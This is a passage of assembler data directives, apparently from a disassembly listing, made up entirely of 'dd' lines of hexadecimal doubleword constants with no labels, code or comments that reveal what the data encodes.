0B94489EEh, 1EC9E0F4h dd 2F566AE4h, 754D4678h, 97ED6F32h, 35504F81h, 0E776E8AFh dd 97E2BB00h, 0E86E6F2Eh, 0A0E8F297h, 0E4A3CC70h, 94D0CB9Bh dd 0D61A2D9Fh, 0A33B3B86h, 84B55AC1h, 7E2D2683h, 5D300F9h dd 9D83B6FAh, 541C357Dh, 0C84C3841h, 0D7246529h, 5189DA2Bh dd 879C7C76h, 78122ED8h, 0E7B78D9Ch, 95449B2Dh, 0A445BDBFh dd 38477951h, 0EDE05866h, 0A04A3F32h, 4426F3D2h, 90E33015h dd 3EE39C9Fh, 53D9171Eh, 9DCEB8B7h, 0BB2C4B4Eh, 0A90A34E1h dd 3056353Bh, 7A302557h, 0A0BF35F2h, 1632D152h, 4401C456h dd 0EF43E59Eh, 4F3F1A96h, 96658C85h, 12DE939Bh, 30E4D9D9h dd 75CC51D8h, 38F0AA86h, 0E358E674h, 4945CBE8h, 893AF15Ch dd 64D37E8Eh, 8E26BD90h, 0E7A65590h, 0B115366h, 5F522617h dd 0F526A2AFh, 9F41D2A9h, 0E9D12F57h, 6F38C503h, 9B7B91F5h dd 0F321FB25h, 0D84360A1h, 49A2DE6Ch, 0EC791FBCh, 9477D655h dd 4321160Fh, 0A296ACE0h, 4C71DE62h, 580D6A41h, 0A6A125BBh dd 5AA9E9B8h, 14CD551Ch, 0D0DA5A24h, 469DF094h, 3A42E7ADh dd 57E31845h, 0F7009C46h, 62A7E364h, 0FCAF0D0Ch, 0BF0384E8h dd 74EF8B58h, 51133F67h, 1062D4CDh, 98263691h, 0D1D7FD15h dd 0ED2E2A00h, 3D5BBAD8h, 68B38F2h, 0E1667AD9h, 4BDBB560h dd 0C09ACA98h, 73F8F07Bh dd 0E16DFE70h, 0E33D0114h, 191362E4h, 5AE0C324h, 0E1795104h dd 0B5E70F54h, 0E476B6DDh, 0FA0FCFAFh, 35EE0963h, 0ED8FB377h dd 9DB9E692h, 751C58BBh, 0C56518FEh, 2B491214h, 0CF791399h dd 6AE5CD79h, 0E26D8FDEh, 0FA93AB25h, 701E2AD1h, 0C2D01B0Bh dd 2491BCDEh, 29A4B331h, 0B11BA6C6h, 0CA2ECF8h, 8B795512h dd 1ADA5B6Bh, 22FD761Ch, 585C240Dh, 47ABDCB4h, 34EF496Ch dd 0A661AB3h, 213E4002h, 11AC3D29h, 96472BBCh, 8AE8EC38h dd 798DA008h, 0D983F8ACh, 883F9EA6h, 8A266A43h, 0FD46DEE0h dd 3B00DD9Ah, 8EE7F00h, 4390B97Bh, 20E01324h, 0C1AD54F2h dd 74506E2Ah, 0AC74736Ch, 0D45C8C7Ah, 0EBF48447h, 70F3BAA0h dd 1E0E896Bh, 51F75670h, 0E85C19F7h, 1616FE29h, 0B988C976h dd 49A89E78h, 7576A091h, 7463CC00h, 53A09673h, 5993844Fh dd 0C3D3034Ah, 67C82645h, 0FA64C254h, 50CE2928h, 9665C5C2h dd 504B8BCEh, 0EB0B79B5h, 0B95C8A2Fh, 0CAE7D776h, 8C66BCB4h dd 0BDCC4A80h, 0B4FBAE1Eh, 292712BBh, 0DFC46E42h, 0C41052D7h dd 680529C6h, 490578CFh, 0B950BBDEh, 1665EABEh, 8B7AC032h dd 0D7BD6C41h, 459FA6FCh, 0DAD7EC3Ah, 4237B99Ah, 9040050h dd 0EA7A6238h, 2A82B712h, 7423F055h, 76D680F0h, 0A9A040D8h dd 3AAE3B0Bh, 86CD3E66h, 93E8F8C9h, 0F60A0CB4h, 6AC3B789h dd 3D1269AEh, 115445EFh, 404286FCh, 0AE867A80h, 627C846Ah dd 0F8BBE80Eh, 4B0B9A35h, 814A412Ch, 0CF5F263Ch, 9763B3D9h dd 80880694h, 0C1297FC8h, 221F8769h, 0BCD2A499h, 0AB68152Ah dd 0A04BF6EEh, 96BADA8Ah, 3CE581EAh, 1F9496A9h, 4F67FC78h dd 379A968h, 72A406B0h, 3B641ED8h, 4D204387h, 1B05034Fh dd 912DE051h, 24A6E2A6h, 0C6F26FEBh, 6481AACFh, 0E1259B1Bh dd 0A5727F73h, 0F2593C8Fh, 4714A276h, 2123639Dh, 426734B0h dd 0CF378916h, 0A6E236B4h, 0BA147D10h, 5C9C9159h, 0EF5B3DF4h dd 58183766h, 3AC8CF49h, 0A6990617h, 6144DFD6h, 6B5B9A66h dd 0BD58917Eh, 0EDEFBC7Bh, 0BE4F68D5h, 0B52AA421h, 287F0876h dd 0C8DA481Bh, 0EC854593h, 53C76D42h, 26C0303h, 30219FD3h dd 4AE0D679h, 0E3D0992h, 182D4DFDh, 94373BCAh, 276712DDh dd 9A8B99C5h, 0DDBAE4E4h, 4C1F7950h, 6A0EA1A1h, 2CB612B6h dd 84E1BEE9h, 33B8A1E4h, 0B048A5A7h, 2208B2Fh, 2555F09Dh dd 0EA5DAEBBh, 0BD6F7D7Dh, 0D0113C4Bh, 0A0A31CC0h, 88D15F69h dd 0DA7E853h, 0AADE1E0Dh, 0C9C488C2h, 0A39F203Ch, 0C7C9EA88h dd 68ECF93Eh, 5CA9C59Fh, 3CC815B4h, 8E2872F9h, 804FE88Bh dd 0D2880585h, 0ECE27D90h, 0DFA889DAh, 0F120603Dh, 1959F3F9h dd 0DC750F35h, 0D2012BF4h, 668E44B7h, 3F0CE8AEh, 0C41CED08h dd 0B7B19203h, 3EB7A6F3h, 0D89FEE28h, 0E7B870FFh, 8A609C7Eh dd 0EECFBF1Bh, 7CBFA46Fh, 22FB7DCEh, 0E90CD694h, 0F6B31E08h dd 9CBF275Ah, 8F578A79h, 109F9C08h, 0DD021D6h, 1B54B7A4h dd 4E18183Ch, 73E217DDh, 2F26E6B9h, 0BF50DA80h, 5CD137C6h dd 0CF540F41h, 0F7F1A8A4h, 0DD341C76h, 1E532EA3h, 647EA1A9h dd 2C1E143Bh, 0E883632Eh, 0E857FF65h, 0F83C0D87h, 0BD17A26Ah dd 18B6CAB7h, 0A603A997h, 0DBB8D506h, 0FA337660h, 1C976D2Bh dd 11E9578Bh, 208C745Dh, 4B611E24h, 6FB860B2h, 576B1A8Fh dd 3FCF1973h, 0B72B167Bh, 7220DDBh, 0D5DEE34Fh, 0D1BEF7C4h dd 8BBA9BBh, 4855ED69h, 39A695E4h, 1F067D0Ah, 82FF2641h dd 79302D19h, 5F14E70Fh, 0A0B0FDE3h, 17AEA57Ah, 87B36FC1h dd 3999BC80h, 914C4DFEh, 135637FDh, 9FECFC2Eh, 0CDDBCCEDh dd 31DFE525h, 0AAD069C8h, 0F8FA040Dh, 5020F1F2h, 0CA97A60Ah dd 0A439C414h, 0FB480577h, 0C122366Ah, 0CFC47ECEh, 0FEF1FF11h dd 1C22BB5Eh, 62F51A7Fh, 0F0C4FD6Ah, 802FA8D3h, 8938BF08h dd 9C2A0F11h, 0C53A3507h, 5199C7D0h, 72C3DEE0h, 115E9431h dd 0DDBFC645h, 0AAC91204h, 7B6495E3h, 0B2883517h, 32F615DDh dd 8CBB7AEAh, 0A1CD633Ch, 139B8BF0h, 16E4A553h, 0BDE4B4D7h dd 27B1AE7Ch, 0C95DD8B4h, 0B036FE0Ah, 0B527FED5h, 73061D20h dd 0FAC39163h, 821FCA8Ch, 0B3C15596h, 8C726DA3h, 83D46ADCh dd 3A9B393Bh, 758DB2CEh, 8F4BE602h, 0AA4E0AAh, 4A6FE325h dd 149A171Ah, 0A4B8893h, 6921472Dh, 6545A706h, 0B8AEA128h dd 2B5D6520h, 7B711A99h, 0D355F8BBh, 410EE57Dh, 71212991h dd 0B217CD77h, 0F7AA76D3h, 0D8321513h, 5ABFA7BFh, 0B5211C18h dd 43BC7B0Bh, 0A5894A69h, 71C544DFh, 0F52993C9h, 335E7C39h dd 1633B3EAh, 3AA9EEFBh, 0F3843CA9h, 5516378h, 2CCB2D36h dd 575E892Fh, 8E0CBA0h, 6E951C32h, 80C57795h, 0FC9CFBC7h dd 0A65C3EBCh, 1FE799A3h, 0FE299FCEh, 8FF90157h, 4F43C4ADh dd 15AACA7Fh, 0A6792C31h, 0E9F9B194h, 0FA5BDFD7h, 3F3DE36h dd 6393DAA1h, 1B2037FBh, 46BFFE24h, 422A097Ch, 0F6023CB4h dd 0C859FD55h, 0FE3BBE16h, 3DE2FCE0h, 0D07E615Eh, 2292FF73h dd 0DB9ABFE3h, 0B1DC38EEh, 29D485BDh, 0B5955875h, 0BDD50C20h dd 71E068E6h, 0F0B187C2h, 0FA123B36h, 5493E7A1h, 57E2D606h dd 0EE25002Ch, 2FC543C9h, 0D79EDD3Bh, 2BA05B66h, 9DCE2BBAh dd 6F7E1726h, 0E1E22350h, 7E2D1FABh, 1FA9F586h, 0F295F219h dd 99230A42h, 0AA440498h, 0C7E93427h, 3EDD7607h, 83AF241Eh dd 400BCC22h, 2B4E766Bh, 0E1562DDDh, 3FA557DAh, 9F5F12D4h dd 4B5B0107h, 2A28EC99h, 3C4439Ah, 8E83E758h, 2BBACFD7h dd 98E9035Bh, 0CD49DA22h, 0CDE96606h, 0F69CDF8Bh, 0EE31C129h dd 44040EAh, 0A79277C2h, 5CD31673h, 57258D79h, 39D31141h dd 72D15A6Ah, 0B089E4F9h, 418CAF79h, 0FC848A28h, 0B96FFB35h dd 0EE75CAE2h, 24ABEDBh, 2AD4FB83h, 9CB1FF3Ah, 1A7B9E9Ch dd 0B63D5B01h, 0DE300043h, 0CAF279A2h, 1AF5EDF5h, 978B5D25h dd 25F86265h, 0FAE0F5D3h, 12F0FFE6h, 0DCA5B14Ah, 9227EBDFh dd 0ECA841ECh, 94DC95F4h, 60471068h, 0E1B1F98Ch, 0E0648CFEh dd 823A39EAh, 0E1D9037Dh, 28E8A088h, 13C268Fh, 13545408h dd 0FFC3E535h, 0B754B80Bh, 0E8A8D212h, 7F148382h, 0A3CBBC44h dd 201D95DCh, 65EBA419h, 19512569h, 0AE9E23FBh, 76C631E4h dd 0D8FFA78Bh, 0BA61AF1Bh, 3173C98Eh, 61AB2E3h, 977F4638h dd 1DA658EAh, 0AEB5031Fh, 0ECA59CC0h, 8858A517h, 4FCDC8FCh dd 0B4017979h, 0B07DAFAEh, 0EE02505Ah, 62E6A272h, 3ECB14A1h dd 8B073A38h, 8565C733h, 0EF210544h, 5C2295BEh, 0FBF1ABD6h dd 1785A33Ah, 9E06F49Dh, 0CADA43Bh, 0FFFA45CDh, 0D9B9A458h dd 651774BEh, 299B07F8h, 0D46B7DE0h, 0DF83C8BFh, 0C2AD58F3h dd 0B0FFCA88h, 0D4A9E1E8h, 0A10F4A7h, 0D925F407h, 0D62A2119h dd 5201FEB7h, 0BA79FACFh, 3317FE05h, 0F934C8C7h, 0C7B5F7EEh dd 171A241Ah, 0F1DE8DA1h, 3375D340h, 4C16ED6Bh, 15D8DFE7h dd 0E14943A8h, 40D53390h, 590EF937h, 0FED55193h, 0FD1F917Ah dd 97F70BD6h, 7AD16192h, 858EADD1h, 9147011Eh, 491D3809h dd 8C70CFE3h, 1FF7AC75h, 6DB20CF0h, 0BBA88608h, 0C3878115h dd 8A8E15EDh, 74BF435Bh, 8121B5B7h, 10879283h, 0E7D89CD5h dd 620E78C4h, 0D86DE3B5h, 0A8760DA3h, 22F3EBDDh, 0E5F7AB18h dd 19B8082Ah, 672C690Bh, 318762D2h, 1D2E9A67h, 398EFEEAh dd 6C77EC49h, 8646AFFDh, 0CC80FF8Ah, 0EDFC8112h, 4A72E4B8h dd 0BDCDC524h, 1A28365Bh dd 8D518E37h, 0DBCE4515h, 99825EE4h, 1F2F4B62h, 3A0A46F5h dd 5E8273CCh, 1D257801h, 4D76BA17h, 0BF7FD8DAh, 7719680Bh dd 0FFE4A01Dh, 7A40396Fh, 96103941h, 86ABBDB3h, 40574FD4h dd 6502F329h, 0C2F06007h, 5F038FC8h, 0EBA0783Ch, 6C4C4D4Dh dd 0F49BF13Eh, 0A1A7DE08h, 35E50FD3h, 1F72571Eh, 91E1D323h dd 3AC8C279h, 0ACA8894Ch, 8E5936B8h, 0D01FF755h, 0AB5F37F5h dd 0D96A58h, 0D3EFA769h, 12CDE61h, 579BD3C5h, 0E54A5EFCh dd 0D1D48B0Bh, 80881CB9h, 4180B16Ah, 0CF0B526Ah, 17532011h dd 0B77B6046h, 1C8DAE85h, 97923548h, 76C1B77h, 24FA8CC9h dd 6C6A93E3h, 51669D2Bh, 660DA543h, 6AFAE36Ah, 38F2727Fh dd 90D43A5Ah, 0A53B8B50h, 53C7EDE7h, 0D4F3F171h, 59D2DF7Ch dd 67F19630h, 4ECD6A5Fh, 0FC074B91h, 4E5F7C21h, 778535D1h dd 70BF4FF5h, 950642CBh, 7C7A2BF8h, 74BC93C2h, 2C7B8760h dd 144A5BF9h, 2FB6CD18h, 0A74BD6FCh, 9EF78D2Eh, 55C6F43Fh dd 6E860FB8h, 6E3FF48Eh, 409247B0h, 2C896810h, 58DDD9B6h dd 9800E68Bh, 2510BFC9h, 48AAE04Dh, 5A9E3D08h, 27F8122Bh dd 0F9EB8EEFh, 0CEE984E6h, 0CB73C731h, 64813AB1h, 0B51D8603h dd 54A9FD2Dh, 0CAC60B31h, 10D1FFEFh, 528C54C8h, 33AE869Eh dd 7A429653h, 373AECF5h, 96E0D989h, 7B15A117h, 7D32911Ch dd 8AF4D51Fh, 15923BFCh, 52BA9F55h, 4E47D858h, 160E7B1Bh dd 0C064162Ah, 0EFE6C705h, 0A8C42E95h, 0E81055Dh, 627AA456h dd 31E08E88h, 6F197ECFh, 7F637E7h, 84E32FE5h, 0AF9EAFF7h dd 240626DDh, 0A8754248h, 82A6E94h, 6A48691Eh, 3BB15B35h dd 0ABB6420Bh, 0DB011C01h, 39CB9699h, 8E54967Ah, 0B894C32h dd 69419E6Ah, 1A7F6BFAh, 65EC862Eh, 3EC4F0EAh, 0A4174BDDh dd 0EBD1470Fh, 0E4C1EB3h, 0B49986B8h, 0F872B9B9h, 30906050h dd 9FC21665h, 0B910DA21h, 0DFBAC022h, 16AE6643h, 0B30D93E7h dd 4E1E6A2Eh, 969D464Eh, 52B31DC9h, 0BF33C148h, 869CEF83h dd 0E1DB4F21h, 315C3EE5h, 90055349h, 0A65E6CE7h, 0EF006686h dd 77136D0h, 850BCA6Dh, 0E57FC602h, 0A9631C17h, 5BC8475Ch dd 0F8CE192Fh, 8794EEAFh, 0D10CA9C6h, 0C911FA56h, 7D9CE68Ch dd 5209974Ah, 9C7EB546h, 41B5556Dh, 0F6C6407h, 0F8F6DDDCh dd 0E781455h, 761D0493h, 75AF8849h, 98EDD2D6h, 0BE3AEEADh dd 3C0A0E83h, 0D55BE3F3h, 7952996Bh, 8AE738A0h, 0FF04D2CDh dd 0E6DC93B2h, 28D7A8EEh, 0ECEB550Ah, 0F4F80B35h, 0F7E05C01h dd 0B7ADE3EFh, 8ADA77D8h, 75FB2F56h, 73DC5E96h, 0C302A199h dd 0BEC8EE9Dh, 7DFAAEBFh, 3DAB66C5h, 0CA71345Ah, 3D51DED7h dd 0EBF29BBBh, 9CCF49E2h, 4949DEA5h, 0F7768CDCh, 8C20E3Ch dd 0F519E82Ch, 0E44FC868h, 52417CD4h, 46D428F3h, 514D4319h dd 0D84C0DCFh, 0AE9C0411h, 8E346DF5h, 0FB87529Fh, 52F2E4DDh dd 0DE36EEA1h, 0A3FB55D3h, 7FD08A28h, 3840D388h, 5850B4Bh dd 1911DFEBh, 3F104C0Ch, 402F0597h, 9E85A5C7h, 9E33E46Fh dd 1046199Eh, 0FBEF90Dh, 95C805B4h, 0FB6D3C3h, 802C3375h dd 973230FCh, 0E46173ABh, 0CFC11049h, 0BE171CD2h, 0F98DE80Fh dd 7E960B3Dh, 6B0CB7F7h, 69267682h, 0BE51D0CAh, 0D62A7C6Bh dd 1F6F70A1h, 847067E4h, 3E07E459h, 31E96B7Dh, 13D34090h dd 8940A81h, 0D7676618h, 7F739B1h, 0F48AB017h, 291FE4F3h dd 5DC58C92h, 0E5061496h, 0A30283E8h, 0E5EE708Ah, 0A044575Ch dd 9E51891Ah, 0AB77F411h, 0F735751Ch, 95C1C9EDh, 69D8DB83h dd 117FCD74h, 0A744701Ah, 529F27A9h, 0E75A4199h, 9E6C03B7h dd 828060A7h, 0BF234915h, 7F543C93h, 0BA6426BFh, 25971F17h dd 126FE5E2h, 82DE498Eh, 0F72E6EB4h, 0FD938A28h, 761D1434h dd 33460307h, 0D8043763h, 64C1DC5Dh, 929AA3F4h, 62B41EA7h dd 765F2791h, 6AB77D45h, 0CD60E00Bh, 0B022268h, 6B7E5E17h dd 246748F2h, 617D8816h, 3DCEB18Bh, 6117836Ah, 0A0F79DBCh dd 0A0C6116Ch, 0DAB7E71Bh, 643BE3AAh, 0E927F59Ah, 8ACCE536h dd 4D8888C5h, 39399B1Ah, 0A86C4DC5h, 3847D9F0h, 0F1999C3Dh dd 1C14C272h, 341D112Dh, 502E6018h, 14388D21h, 0E8B65C8Eh dd 54097662h, 25A7B2F2h, 0F22A901Bh, 4FA04BEDh, 58B77682h dd 5B3DB85Eh, 7EA9396Ch, 52B096E4h, 366D748Fh, 609FC637h dd 7CD73DAFh, 0D2D0664h, 323A5144h, 0D5ECCE8h, 0E6BBABC2h dd 0C1855E4Dh, 0D77720ABh, 0B7BA0969h, 382757FAh, 39D3055Fh dd 0BBA18358h, 319DFDF1h, 135D7E06h, 9DD866B6h, 844EACFCh dd 0C526C8FAh, 1CA03C27h, 31D2026Ch, 369245C2h, 0F22266B3h dd 0DD4CEC39h, 0F2C9E9DFh, 1FFA928Bh, 96009EF7h, 1147B9E8h dd 0E3FBAD40h, 0A866C093h, 0D7D4AFE4h, 0FB871DA1h, 569C85A2h dd 92D5FFB7h, 0B360AD5Bh, 0C321D887h, 52FBFE55h, 0BF737D69h dd 0ED000FAFh, 0F25ED127h, 90731750h, 0CAC85258h, 66802C54h dd 0D43DDF8Eh, 31EA1F3Ch, 0FC26749Dh, 5BC26BFBh, 0F07C7A92h dd 923A92B1h, 3B94CA37h, 0BCA55309h, 0CAC6A17Dh, 324CED7Ah dd 94B1957h, 11E803C3h, 6C56C941h, 0A094E788h, 1FA44307h dd 0B79671EDh, 47BAEEF2h, 0D832ECCh, 6C5E8725h, 0CCB6453h dd 0E0907A18h, 4D13C4E1h, 455257D1h, 0BD09136Dh, 0D5221533h dd 74EC6962h, 7466ED4Eh, 0B201CB15h, 8BDF17CEh, 7729718Bh dd 57C05BA2h, 8918E83h, 3C447E04h, 6DDD5D88h, 0F5D12E5h dd 1F7D1FFFh, 15C047A5h, 0FC183C0Ch, 9289D1D6h, 4D1C0282h dd 0E448782Ch, 129984FCh, 114D156Ch, 21A3117Ch, 0E295411h dd 0AB701EB6h, 0DF850D3h, 0A95DCFDCh, 0DB7303B6h, 0B3B53F0Eh dd 24446BA5h, 81E6F5D3h, 0EB5C3D8Bh, 8AB9B9EDh, 0C6ADCEF1h dd 83AEE8C9h, 72C8A285h, 8B955A9Ch, 5B51C872h, 73D956AFh dd 9E6515EBh, 6515DE60h, 74DEFB04h, 0D9A4C87Dh, 0AF6E7CAh dd 0D4FF6F3Fh, 0D76CDCDEh, 0F6E68526h, 0D3AD5E36h, 65F9F48Ah dd 699823F8h, 691CEFB1h, 0CF719199h, 936183F1h, 2B4723CBh dd 1D879D9Dh, 423054A1h, 34570868h, 0AF55037Ah, 55BAC8D8h dd 0E7281E1h, 76D6E246h, 3EFE99DDh, 95ABAD85h, 0A3925A18h dd 0CE0AF509h, 351657F7h, 6639220Ah, 0CD76DB4Dh, 99AF3AD7h dd 71D0EA65h, 5BC5372Dh, 0BAC3D865h, 4C56EBC2h, 5CF81AC0h dd 6A5FA909h, 16A0196h, 0E617742Ah, 0B32A6Bh, 61D1794Ah dd 0E85A6F05h, 0D9B3BED0h, 71934CFAh, 0A73AA52Dh, 0C7DF5FEBh dd 0C71211C6h, 2AAD2A6Bh, 0CF4B376h, 675C42CFh, 309C69A7h dd 5F6F8CA7h, 0A2F15C25h, 0D972BFD4h, 255FA6B0h, 6B8C8A55h dd 5650B1E7h, 6F97F561h, 0D433ED21h, 5865133Eh, 20C5B84Dh dd 0F1D3D1D5h, 0EEE48EDDh, 0DBD3FC56h, 6EBB3467h, 32EB9957h dd 631F2CCDh, 1697FDFh, 68A5548Ah, 8D69B54Bh, 4D2ABB06h dd 6208079h, 3EC44D81h, 6BC8E1CDh, 0EB09AE05h, 8DC6CD53h dd 16D9EA4Ah, 0BF78B651h, 0E8322158h, 44B64FC5h, 885FF1F7h dd 87A189E9h, 7DEB533h, 20CB2C8Bh, 395F13D2h, 0F9FDC70Eh dd 726FC1DEh, 0E40FEE77h, 0C762699Ch, 3A611E4Ah, 3835ABDFh dd 0E9294585h, 2FAFAE42h, 128C7B98h, 9DCCBDD4h, 3EBBE599h dd 1A40189Dh, 533AF33Dh, 4E292E59h, 7ABFBA28h, 0D39C3B69h dd 0BEC0B94Ah, 0ADB3DFD8h, 7A335CABh, 77B2A715h, 1AF57201h dd 0B9B88D90h, 0B005982h, 8B48B0BEh, 92D2D8C2h, 4385CE74h dd 0DD7799h, 3603BC93h dd 750B9B2Dh, 0D669246Ch, 9DF0FA0Fh, 2D301FB4h, 33F063A0h dd 6A38EBEFh, 0F52B0E37h, 0DB068C38h, 0BB786885h, 44D147B8h dd 0D5BA33A9h, 0E9B4E485h, 5D68B6CBh, 0BB1C6E04h, 0FCA95054h dd 5459CF69h, 0C92E13BEh, 59CF5A33h, 6CB4960Bh, 42E65E96h dd 62FBC907h, 648064C0h, 0F4B80F2Fh, 1B7FAF37h, 5D1393F2h dd 0A0C28AB1h, 0F4AB4F6Ah, 435155C1h, 1C240349h, 0FF2B6C95h dd 0C942D2F6h, 97A071E8h, 23D1CD1Ah, 543A3736h, 2AA84AF0h dd 177646B6h, 830CB4D2h, 308860E2h, 0EC6DFD9Ah, 40FB83CBh dd 0E3F81BCAh, 5DBC6BB8h, 2D80CE24h, 56EAB702h, 2BBB0186h dd 0FF895434h, 0FEE4594h, 35858601h, 5EC66B9Ah, 49F4B4BFh dd 8FE2C5F1h, 0B9937B3Ch, 0A264438Ah, 820FF0FBh, 0BB8AFD5h dd 0C0E0E662h, 392309A7h, 0E3050460h, 3AAB461h, 9DAA9AEDh dd 9B2C2B31h, 1363DD64h, 0BDEE9518h, 7DAB4883h, 0FD501639h dd 1A7E1272h, 0CB5DE081h, 986EBD18h, 0D47A18A7h, 313509AEh dd 550BF3FBh, 0D0385913h, 6A970B9Ch, 7EEB7E7Dh, 4C56A4FCh dd 0F1EBA4E2h, 1B4E2FEAh, 610F3647h, 0FAD8CAF0h, 77B75ACAh dd 256F22F4h, 3F02CC58h, 4E75050Dh, 0C1D0E587h, 2E4BF4D2h dd 0B828B4F4h, 0CFA49954h, 8933FEAFh, 3CF73F7Ah, 0C5F95A97h dd 8AFB4549h, 1D789A29h, 0C0C62193h, 0DD895B85h, 7251D351h dd 0D238434Bh, 93137E2Dh, 0E6034A94h, 4A8E5E5Eh, 0CB4452BCh dd 79D0B479h, 0A5AD9020h, 0A3220C48h, 35A60E54h, 97A92398h dd 6DF91CCBh, 1C94E220h, 13CC67ABh, 5BB3D37Fh, 7FE13727h dd 0CDBA4749h, 97B3F4A5h, 6483DAAEh, 2F4BD3Dh, 0F114654h dd 0BB8697CFh, 585FFC8Dh, 79CCC224h, 78EA5B78h, 0A545B05Bh dd 38581F0h, 30EDB019h, 0EB092B48h, 958468DAh, 4F0031F3h dd 0CAD80CA9h, 76174ECAh, 0A88D7C7Dh, 7D238868h, 955DDEBDh dd 0C014FADBh, 1DFA536Eh, 62708048h, 767019C1h, 0DB794C0Dh dd 0F8F44D7Ah, 4F785E1Bh, 3E416FA6h, 3135D92h, 175C6A3Eh dd 68541CAh, 896F7F5Ch, 0E95CCBE7h, 0D9060F3Bh, 2A01A4D8h dd 88B2D404h, 0DA939F9Dh, 66EED178h, 0AA2CC7C4h, 81119E20h dd 45973462h, 81F1F642h, 0DBE3B799h, 0FA70F654h, 82277BF8h dd 0BE268D07h, 0D6324DFh, 5AC4E542h, 93FCFC2Dh, 32257ED2h dd 8607021Bh, 0EF780FFh, 9E2EA583h, 9E1E1063h, 0E7FB7AF7h dd 0A3525A6Ch, 28D4930Dh, 847B6FA5h, 0B6F47E1Dh, 0B4404628h dd 0B2594453h, 93B5C140h, 55841801h, 0ACC5AD36h, 6C008FFEh dd 297A0810h, 72D465F3h, 0BAA5FBE7h, 0BDDD8020h, 0BE867D05h dd 8F84812Ah, 30BF7972h, 0A3C7D079h, 0C114802Ch, 356003CCh dd 0C2557B10h, 0CF3B196Dh, 75D430A6h, 0E1D172D1h, 20214FE0h dd 0D3F5FA40h, 80FED97Dh, 0A4E1BE6Dh, 16C0538Fh, 7E8A185Eh dd 65A6A046h, 0C1CB211Bh, 7A815F72h, 0FC0A06CBh, 0A46F813Bh dd 6D7D0D4h, 0EF623113h, 6094DA77h, 0B895934Bh, 59642149h dd 8065B492h, 0BF9E4722h, 63F31D3Eh, 0A9C31DDEh, 760BE915h dd 566BFF32h, 594DD7C4h, 1092F97Dh, 66C545EBh, 2FE83B31h dd 0F823BC2Ch, 8D79B00Ch, 0EB5E5FE6h, 7BD8C97Ch, 5BF22F98h dd 0B2808D90h, 45C77A43h, 33014D4Bh, 87097AA7h, 2ECF23CBh dd 5EB0D6EFh, 0FB9A41D7h, 0FDD9381Eh, 7F6AB557h, 0E89C0D1Bh dd 0F4D5A101h, 6FA33425h, 80C8FFE2h, 718D085h, 3E5ACC72h dd 83BF0EFAh, 0E3D4BC7Eh, 4F6B8B5h, 3EC7941Ch, 0B7D6CC3Bh dd 0AAA294D3h, 0AFE2509Dh, 0C962EFF7h, 2DC2DC14h, 7EA65F4Dh dd 0EF09E52Dh, 0DA3D2914h, 89567D08h, 33FFE5AEh, 0A366AD16h dd 4772ECA2h, 4B17D5EFh, 7AF5636h, 0FCC1F2DDh, 32B6093Eh dd 0A9B42604h, 922352B0h, 1046F6D7h, 93ADF9A5h, 1BADF2C9h dd 49BCD22Bh, 69149AFh, 91758626h, 793C95DFh, 9F2C8A9Bh dd 4DD03DFEh, 9C6DBEAFh, 0D5A26DE0h, 2656DBF9h, 1A7B92AFh dd 5E82FA7Ch, 8C27DDD4h, 0D8AD1D22h, 7892415Bh, 53B31846h dd 78EE9E90h, 55AD0731h, 0EFE57C5Dh, 211EE21Bh, 2C2FEFD3h dd 6B53A0C5h, 9641B457h, 0D013D852h, 4EEBD09Ah, 8FB1B9BAh dd 1DCAF684h, 0E4C310B1h, 40FF09BAh, 2FE6A09Eh, 4110CC98h dd 0E8E3F5E6h, 67445F59h, 72CE1B68h, 0FAE494CCh, 9B8595C2h dd 0B713F973h, 7E304715h, 0AFD7521Eh, 80E053B4h, 77046E09h dd 0F5885C38h, 82260E1Bh, 0EAF91549h, 0E1E0656h, 92CEDC51h dd 4BB67F44h, 2749B1F4h, 0DCD44071h, 3E92F222h, 83E80039h dd 2954F8BEh, 1C647665h, 0B6CA282Ch, 0F276F882h, 539A9E7Bh dd 9EAD63D4h, 3FB612B3h, 0D9A8A71Dh, 0DEC97236h, 77722452h dd 9C226DFBh, 69801165h, 91BE5E87h, 0EEBC27ADh, 0DAA36925h dd 5EE9A7C4h, 2CE0CE64h, 0D2D99716h, 0D573EBD4h, 5B7AE664h dd 0B4AF32C1h, 0E911BC4Bh, 7A84D16Fh, 0E24D0588h, 60AD623h dd 3CB5303Ch, 1B47C10Eh, 0DEC559F5h, 8F45BD13h, 38F57833h dd 0E40F89EAh, 7125F4ADh, 562A6E6h, 4CC4CEF2h, 0ACC4486Ah dd 0D1FED085h, 838C192h, 0EA2C09ADh, 0DBF29C33h, 0F5FB1022h dd 0A661B1F5h, 0DFB9CE52h, 0E8782D7Ah, 9CFF5D57h, 0EFCD1E6Ah dd 0FEF01846h, 0ED93250Dh, 1151DBF3h, 0B7C88FECh, 7BC16FD7h dd 4556E2F6h, 0E848D2D7h, 940AA7A0h, 49291498h, 72E3C4C5h dd 4BF86CB5h, 9AAF9E1Ch, 9B3B5397h, 0C8A643EEh, 5A8CCA23h dd 4AD9139Ah, 0E0CE7A4Bh, 0AD8549C8h, 558764FDh, 388F37F7h dd 6EB78AAh, 0B6785584h, 16A059B9h, 0A86B6ED9h, 3BA1E3D2h dd 0D6A221DEh, 96909548h, 9769F3C0h, 0D572BADFh, 6B40C9BCh dd 0DF9E6201h, 5B894F61h, 9C76A63Ch, 48169E03h, 969A13C1h dd 1D479BB4h, 0DA0DF1B7h, 0E478690Bh, 826A0EEFh, 42D3C6E2h dd 8E3A48C2h, 53EC8C1Fh, 175E155Ch, 19F93E16h, 0A6E7C56Ah dd 501FCD5Ch, 545FDE74h, 0D30011Ch, 974F945Dh, 11800367h dd 23D85E0h, 59C2B799h, 4B466637h, 519933ADh, 19B665C4h dd 1634252Ah, 0BD471769h, 4CE71436h, 25B3F74h, 0B426A480h dd 0E53F6986h, 0D61BFBA6h, 0C0A3B3C6h, 0D6D4ED3Dh, 919CE8EBh dd 0B665C5Bh, 7E1C2ABCh, 53E5AC9Dh, 258B2985h, 5C4BCD25h dd 5D8C7531h, 37ED1179h, 3A05EEF4h, 4D7B9064h, 8E4F01DFh dd 0AD1730BEh, 0ADCC1713h, 6D8AB3C4h, 0A5E5EFF3h, 0B8383A7Dh dd 27BA7150h, 61954D6h, 2ADDAD52h, 619243BCh, 0A9001E81h dd 6B93F999h, 6871D4ACh, 89E4D58Bh, 94C52BD6h, 6D97B9CCh dd 0D349399Bh, 2E2BA544h, 0C5434156h, 847F0FE3h, 0CCF20357h dd 62231E4h, 6F4DB575h, 97D60C3Ch, 3D087694h, 0C8ADA48Ah dd 60997783h, 0EFC6B0F2h, 0D202537Dh, 3D3DF1A1h, 0F774F76Dh dd 0A6591506h, 0B7F1C436h, 698B756Bh, 